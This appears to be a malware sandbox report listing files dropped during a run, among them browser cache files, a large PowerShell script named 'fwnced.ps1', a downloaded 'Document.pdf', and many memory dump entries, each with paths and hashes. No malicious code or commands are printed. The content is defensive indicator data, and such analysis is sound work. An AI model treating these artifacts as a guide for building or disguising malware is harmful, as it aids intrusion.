SHA512 8573cb793f09c13ec079292323cc543910672c4cdf9d28a0cb1fbf75866e5a06ba4a87fd24e8125f0db04e56b0fb13217687b1570ad916ca3c5262dfba5d8cd5
SSDEEP 3:LstlNllklkXlI/h:LsX3lPI/h
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\GPUCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\GPUCache\index
Size 256KB
SHA256 8a0e7bf38a39592b3b4887e6b9f0e4a93f2a5e849a5a358ffec37c59559b420e
MD5 189e59e7486cb1ca28bf4d6603e15837
SHA1 5f671653a5abb692b3d9ef00cc5d219049750c72
SHA512 3bdd7bf4b08e744af89c0b8364f1a134a39439d0f3dc1608e105c8c09170aba8772aaebb500ff33ef92f2a1c68ebf3b565afa62a5399a9e1179226dbbab650af
SSDEEP 3:LstlNllklkXlct:LsX3lP0
MD5 SHA1 SHA512 SSDEEP

Submit Download

197a954f-eb33-4f58-82bb-4487d70723b5.tmp

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Network\197a954f-eb33-4f58-82bb-4487d70723b5.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

README

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\README
Size 180B
SHA256 c43668eec4a8d88a5b3a06a84f8846853fe33e54293c2db56899a5a5dfb4d944
MD5 883d62acd72005f3ad7a14500d482033
SHA1 e5900fe43fb18083bf6a483b926b9888f29ca018
SHA512 97bb1bde74057761788436de519765ea4e6ba1ad3a02d082704e8b3efca3ef69d3db6e65b65e5f5f90205e72c164d82779cf754d52ec05d944df49f10d822a6d
TLSH
T13CC01222958335AD511A81B2690162824A128831E42E9A61A6DE844C1704A63A2507DB
MD5 SHA1 SHA512 TLSH

Submit Download

2cc80dabc69f58b6_0

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0
Size 472B
SHA256 7433e2de592bac3d53e34206cd580d140d107eae0defa146b238d209d3b34c87
MD5 d1d6b5a71725264ad4893180b3baa615
SHA1 d1c1cef579f3a8b1d517c2171d6aa37390634fc3
SHA512 6f50f6f08b9c5fc7fdb614ee423f14cf2b2407c2488d7b5a0cfe8a497174ae194d4f564bda132d3180963213e24fa8bb6b25c158a5ac8734d2a73bc87f2068a1
TLSH
T1C2F0A3560D498974D71845F2CBD7735D87172628D93E5255B954821CD494F6CC8909C2
MD5 SHA1 SHA512 TLSH

Submit Download

4cb013792b196a35_0

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Service Worker\ScriptCache\4cb013792b196a35_0
Size 10KB
SHA256 a99acceb13eb9a30ce2abec2430fdc88a126b9411e5eb7e15312fd6b2a88fd0b
MD5 b63b8cfd9981a377a74c57c1f323da4c
SHA1 873d1aa54669a4951bf228edd6894170c9be8d8b
SHA512 72af63998acb5d2ded85fcacf5887b6264206489b49cdef62f6c8c0c75558913973ffe54381acf6aceb3c4c874906bd5834f70c73eeeaa3d59f431f809d00e0a
SSDEEP 192:QORKXKKUEUu3gaYllgqJIUwNTvyDJPs/9QLP0J:QKOKKaL2yDJPse0
TLSH
T15C22D74A87F702A59065D1756F8F61839629811F2A19F54E3CDE43B46F06B3092FEFE0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4cb013792b196a35_1

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Service Worker\ScriptCache\4cb013792b196a35_1
Size 6KB
SHA256 dd618b52eda57ef47dcdb654e9dbe4c1085ff7219e45a78b6f98730ae601017c
MD5 03d2f0ece50763b57d1081d382f978b1
SHA1 28310dd7a845adc2f10047ccf28e5ac01b006ce1
SHA512 9f97366a06e47759a95fe263f387595e62918521d217e16ac0109cd0762da4d97e20faca547412120a5496567dab5b6eb1bae1edc3490e83092a33742722562b
SSDEEP 192:E6dUlGlL13Xn0uqkSnTrT6n6A+t16t9HD996:tdzlL1Hnjq7TrT6n6nt2P
TLSH
T154E1E89283329627CB2543FB41A7925333FD5548BFC2E12A6DA697E52C123F278DDD01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 12d34a3f5dc26817051c27ac224afd2da00a64373e7b0d90926bec931e733063
MD5 ec8d670e5f5d927e54b03499efe01498
SHA1 da88ae4ed56cf13c5d30b220fb3bd1fb265b38d4
SHA512 8a00abb1574db550e04b25885c8d9a65cceea627ed36138bc3b7757b550746c45df121fab887d792b073d7b4edc059b3485171f66b8ef3cccf81802abec88be8
TLSH
T1C7A002A20246C564C10142F07811A3881240F936C4000253BAD403869D614614E11179
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Session Storage\000003.log
Size 61B
SHA256 5c3a5b578ab9fe853ead7040bc161929ea4f6902073ba2b8bb84487622b98923
MD5 9f7eadc15e13d0608b4e4d590499ae2e
SHA1 afb27f5c20b117031328e12dd3111a7681ff8db5
SHA512 88455784c705f565c70fa0a549c54e2492976e14643e9dd0a8e58c560d003914313df483f096bd33ec718aeec7667b8de063a73627aa3436ba6e7e562e565b3f
TLSH
T1C4A0041C1341D037FC1DC730054533303731DCDD1F111543444D15D00717F751401441
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Session Storage\LOG
Size 265B
SHA256 c1f58f4316d3a571703c036b104dcb2adddfa7098c9e9d4d98e0afbe6d23a903
MD5 66c3504780199e64ecbdc7033ce5bfd4
SHA1 b40cf10957a7d5994391589c178002d414cb8e54
SHA512 1197e240f758458232be529f39b6ed61d1e37dc0957c546b737d242c86f1ac1db6f71bde7b09b8e15fd3b163fb85846a4ce72d6de2a6836668541adc37a17542
TLSH
T131D02B2841C381A59500CEAB0735730ECFA03D0CF7D83B2C0E15C458360744AEAF2A45
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 48B
SHA256 7c4e39b6546be4033c13ab9ef3fcfc858370b29c0f02705c429f460c07792cdb
MD5 7a5ce4834d405281acb492a9e7124a10
SHA1 361532249bc299bb53c449b1236af4eec6ae84e6
SHA512 3678206672e805f475a7949386bd9445c25dfcd4701a376d6bfc2529f26b3dc2c531c2cea00c94ad690c61600c88a5775543c695e2a2b58c8a9b3e660658b0fa
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\Shared Dictionary\db
Size 44KB
SHA256 b08af7745c49533422c5afb2e683b61ab1b025a2ef13f892321a2cd1383fba79
MD5 ad4b0d21f32cbccefd98c28e33a59a6e
SHA1 1850a90ed7ec61efca181fcc35927a2888549e6e
SHA512 0bc8a37f441ce5cbb0fe4ea3f766f741cc6424ac4274ffa42fcf507c8fc7154115375bc669449da02d8b57a19227483814357367cc8611cbecdf247d7b65706b
SSDEEP 24:TL6BgJhPwMuz6G0ZestjteX4yNQeYlv+1b3IeNS6+6Uwg8TPq81fBG:T1OIy4m1b3fbUdeqSB
TLSH
T16B13BB0F1E187551D1BD0236E9E64E6B2E7E204C9B8369D125F01AF24DE211C5D2F27F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000001.dbtmp

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\shared_proto_db\metadata\000001.dbtmp
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\Default\shared_proto_db\metadata\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\GrShaderCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Temp\bt3paimu.ivu\ShaderCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

fwnced.ps1

Path C:\Users\Admin\AppData\Local\Temp\fwnced.ps1
Size 2.8MB
SHA256 1f94676a0fb98d281b6af4ee2b8b695bffae0ac3fe93ae9137178ca3e824f6c1
MD5 53ff8533a971dbbecacbdbbbcc811ba2
SHA1 856e6361e4cf0b30b0a1b8c5b52baec48ea8c195
SHA512 0280b5141d3dbfda084f6f4c0bef5d513d1e7774b900fca6988b19fefdb660c1d7b582b9014be4189907954398685fba999287616bf13872d55997d1cf406cbd
SSDEEP 24576:6krFbhX43VVoOzlDyasMVwAVwAVwAVwAVwAjFlAMSvc+i:kl2OgaJj9
TLSH
T1A8D513E95DC4DA65E1C02BADB326012373AE7995F1F66243F3331EB6366E083611C786
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Document.pdf

Path C:\Users\Admin\Downloads\Document.pdf
Size 78KB
SHA256 7307276890c04d2ff14159e31b6137e295d6f8594f56c45cc99144ab6273cdf8
MD5 c9ae2a2112b2032f13b0e3e1d8bd3a3f
SHA1 ea3b225e8ad1c9467574a4db99f1ddb834de598e
SHA512 be49431d795d0d58e80ec86cf416fa9b3f07a621cd42ad71439cea225fc5d8187fb335a9581a9a7c263ad0f698742d52b8d3d159a4f972562562bb782803e2b2
SSDEEP 1536:uNoyPCvLfGI2K+iFsVVuvXg+7OqtWC9OtQ+CDCGj1:i2VFIsg+7Olc
TLSH
T12C73E7B9F5A170724E23F570412F500FB63B647BE84C09A8F294DCF06EF698A4467B69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/368-417-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-435-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-379-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-381-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-353-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-355-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-357-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-359-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-89-0x0000017CAE270000-0x0000017CAE34C000-memory.dmp

Download

memory/368-88-0x0000017CADE10000-0x0000017CADE70000-memory.dmp

Download

memory/368-87-0x0000017CADB60000-0x0000017CADBD6000-memory.dmp

Download

memory/368-361-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-363-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-47-0x0000017C931A0000-0x0000017C931AC000-memory.dmp

Download

memory/368-367-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-45-0x0000017CAD540000-0x0000017CAD55E000-memory.dmp

Download

memory/368-44-0x0000017CAD170000-0x0000017CAD192000-memory.dmp

Download

memory/368-371-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-373-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-375-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-377-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-383-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-385-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-387-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-389-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-391-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-403-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-393-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-413-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-351-0x0000017CAE370000-0x0000017CAE3F4000-memory.dmp

Download

memory/368-365-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-352-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-369-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-453-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-463-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-461-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-459-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-457-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-455-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-451-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-449-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-447-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-445-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-443-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-441-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-439-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-437-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-433-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-429-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-427-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-425-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-423-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-421-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-420-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-431-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-415-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-411-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-410-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-407-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-405-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-401-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-400-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-397-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/368-395-0x0000017CAE370000-0x0000017CAE3EF000-memory.dmp

Download

memory/756-299-0x000001D549A00000-0x000001D549B6A000-memory.dmp

Download

memory/3372-161-0x000001E6CBFC0000-0x000001E6CC010000-memory.dmp

Download

memory/3372-350-0x000001E6CC010000-0x000001E6CC022000-memory.dmp

Download

memory/3372-157-0x000001E6CB9C0000-0x000001E6CBB2A000-memory.dmp

Download

memory/3372-156-0x000001E6B2AB0000-0x000001E6B2ABC000-memory.dmp

Download

memory/3372-155-0x000001E6CB8F0000-0x000001E6CB9BA000-memory.dmp

Download

memory/3372-154-0x000001E6CB890000-0x000001E6CB8E8000-memory.dmp

Download

memory/3372-153-0x000001E6CB6B0000-0x000001E6CB71E000-memory.dmp

Download

memory/3624-37-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-65-0x000001D311950000-0x000001D31195C000-memory.dmp

Download

memory/3624-16-0x000001D32A730000-0x000001D32A754000-memory.dmp

Download

memory/3624-38-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-42-0x000001D311950000-0x000001D31195C000-memory.dmp

Download

memory/3624-43-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-2-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-15-0x000001D32A730000-0x000001D32A75A000-memory.dmp

Download

memory/3624-1-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-12-0x000001D311990000-0x000001D3119A0000-memory.dmp

Download

memory/3624-11-0x000001D32A7F0000-0x000001D32A9B2000-memory.dmp

Download

memory/3624-3-0x000001D32A0B0000-0x000001D32A0D2000-memory.dmp

Download

memory/4080-67-0x00000000040B0000-0x00000000040F7000-memory.dmp

Download

memory/4080-46-0x0000000002A70000-0x0000000002B43000-memory.dmp

Download

memory/4808-0-0x0000017DABDD0000-0x0000017DABDDC000-memory.dmp

Download